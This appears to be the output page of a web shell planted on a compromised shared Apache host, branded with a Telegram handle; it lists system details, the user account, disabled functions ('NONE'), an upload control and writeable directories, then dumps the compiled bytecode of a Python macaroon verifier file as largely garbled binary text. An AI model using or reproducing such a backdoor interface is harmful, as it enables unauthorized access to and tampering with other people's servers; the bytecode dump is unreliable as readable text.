https://t.me/RX1948
Server : Apache
System : Linux iad1-shared-b8-43 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
User : dh_edsupp ( 6597262)
PHP Version : 8.2.26
Disable Function : NONE
Directory :  /lib/python3/dist-packages/pymacaroons/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/pymacaroons/__pycache__/verifier.cpython-310.pyc
o

BQ�YQ�@s�ddlZzddlmZWneyddlmZYnwddlmZddl	m
Z
ddlmZm
Z
ddlmZmZmZmZGdd	�d	e�ZdS)
�N)�compare_digest)�equals)�HashSignaturesBinder)�!MacaroonInvalidSignatureException)� FirstPartyCaveatVerifierDelegate� ThirdPartyCaveatVerifierDelegate)�convert_to_bytes�convert_to_string�generate_derived_key�hmac_digestc@s`eZdZdd�Zdd�Zdd�Zdd�Zdd
d�Zddd
�Zdd�Z	dd�Z
dd�Zdd�Zd	S)�VerifiercCs*g|_|jg|_d|_t�|_t�|_dS�N)�
predicates�verify_exact�	callbacks�calculated_signaturer�$first_party_caveat_verifier_delegater�$third_party_caveat_verifier_delegate)�self�r�6/usr/lib/python3/dist-packages/pymacaroons/verifier.py�__init__s
��zVerifier.__init__cCs$|durtd��|j�t|��dS)NzPredicate cannot be none.)�	TypeErrorr�appendr	�r�	predicaterrr�
satisfy_exact$szVerifier.satisfy_exactcCs"t|d�s	td��|j�|�dS)N�__call__z*General caveat verifiers must be callable.)�hasattrrrr)r�funcrrr�satisfy_general)s
zVerifier.satisfy_generalcCs
||jvSr
)rrrrrr.s
zVerifier.verify_exactNcCstt|��}|�||||�Sr
)r
r�verify_discharge)r�macaroon�key�discharge_macaroonsrrr�verify1s�zVerifier.verifycCs^t||j�}|�||||�}||krt�t|��t�|���}|�|j	t�|��s-t
d��dS)NzSignatures do not matchT)r�identifier_bytes�_verify_caveats�binascii�	unhexlifyr�bind_signature�hexlify�_signatures_match�signature_bytesr)r�root�	discharger#r$rrrrr!:s$�����zVerifier.verify_dischargecCs.|jD]}|�|||||�r|�||�}q|Sr
)�caveats�_caveat_met�_update_signature)rr.r"r$�	signature�caveatrrrr'Qs
��zVerifier._verify_caveatscCs.|��r|j�|||�S|j�||||||�Sr
)�first_partyr�verify_first_party_caveatr�verify_third_party_caveat)rr.r4r"r$r3rrrr1[s
���zVerifier._caveat_metcCs$|��r|j�||�S|j�||�Sr
)r5r�update_signaturer)rr4r3rrrr2ms��zVerifier._update_signaturecCstt|�t|��Sr
)�constant_time_comparer)r�macaroon_signature�computed_signaturerrrr,{s�zVerifier._signatures_matchr
)
�__name__�
__module__�__qualname__rrr rr%r!r'r1r2r,rrrrrs

	
r)r(�hmacrr9�ImportError�pymacaroons.utilsr�pymacaroons.bindersr�pymacaroons.exceptionsr�pymacaroons.caveat_delegatesrrrr	r
r�objectrrrrr�<module>s�

https://t.me/RX1948 - 2025